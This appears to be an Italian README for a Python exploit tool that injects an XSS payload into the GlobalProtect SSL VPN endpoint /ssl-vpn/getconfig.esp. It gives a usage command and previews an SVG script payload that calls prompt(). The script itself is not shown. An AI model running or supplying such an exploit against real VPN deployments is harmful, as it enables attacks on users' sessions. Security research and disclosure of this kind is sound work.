mitsec_vpn_xss_exploit

🔓 Exploit per l'endpoint SSL VPN GlobalProtect /ssl-vpn/getconfig.esp che aggiunge un payload XSS appositamente creato all'URL.

Utilizzo

python3 exploit.py -u https://target.com

Parametri

• -u, --url: URL di base del target (non includere i parametri della query)

Anteprima del Payload

<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

Autore